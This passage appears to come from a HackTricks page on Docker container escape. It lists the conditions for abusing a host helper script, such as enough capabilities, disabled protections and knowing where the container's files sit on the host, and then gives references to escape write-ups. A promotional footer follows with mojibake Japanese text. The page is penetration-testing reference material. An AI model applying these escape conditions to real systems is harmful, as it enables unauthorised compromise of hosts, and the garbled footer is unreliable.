- Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens
- You should be able to execute the trigger from inside the host
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- Have enough capabilities and disabled protections to be able to abuse that functionality
- You might need to mount things o perform special privileged actions you cannot do in a default docker container
References
- https://twitter.com/_fel1x/status/1151487053370187776?lang=en-GB
- https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
- https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html
- https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/host-networking-driver
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket
- https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


